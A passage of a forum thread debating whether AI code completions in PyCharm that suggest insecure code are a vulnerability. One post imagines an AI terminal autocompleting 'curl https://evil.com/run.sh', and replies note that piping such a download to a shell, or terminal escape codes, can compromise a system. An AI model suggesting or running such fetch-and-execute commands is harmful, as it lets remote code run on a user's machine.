Are insecure code completions in PyCharm a vulnerability?
11–18 of 18 posts
Re: Are insecure code completions in PyCharm a vulnerability?
#12Re: Are insecure code completions in PyCharm a vulnerability?
#13Re: Are insecure code completions in PyCharm a vulnerability?
#14Re: Are insecure code completions in PyCharm a vulnerability?
#15What is “monster-in-the-middle” and why is it being used in place of (presumably) “man-in-the-middle”?
Re: Are insecure code completions in PyCharm a vulnerability?
#16https://stackoverflow.com/a/28002687
https://stackoverflow.com/a/32282390
https://stackoverflow.com/a/18062293
Naive users used to copy paste those things from StackOverflow, now they can use line completion in their editor.
Re: Are insecure code completions in PyCharm a vulnerability?
#17Waiting for the first terminal with AI autocompletion. $ curl http $ curl https://evil.com/run.sh Then you’re just an enter away from causing havoc on your system.
Well, technically it's not the curl itself that is the problem, but the "| " coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl ; 2) analyse and 3) only if safe, then execute -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.
Re: Are insecure code completions in PyCharm a vulnerability?
#18Earlier quoted context omitted.
Well, technically it's not the curl itself that is the problem, but the "| " coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl ; 2) analyse and 3) only if safe, then execute -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.
curl can do evil things by itself due to terminal escape codes - a popular one was to set the title and then read the title back, which effectively types text into the terminal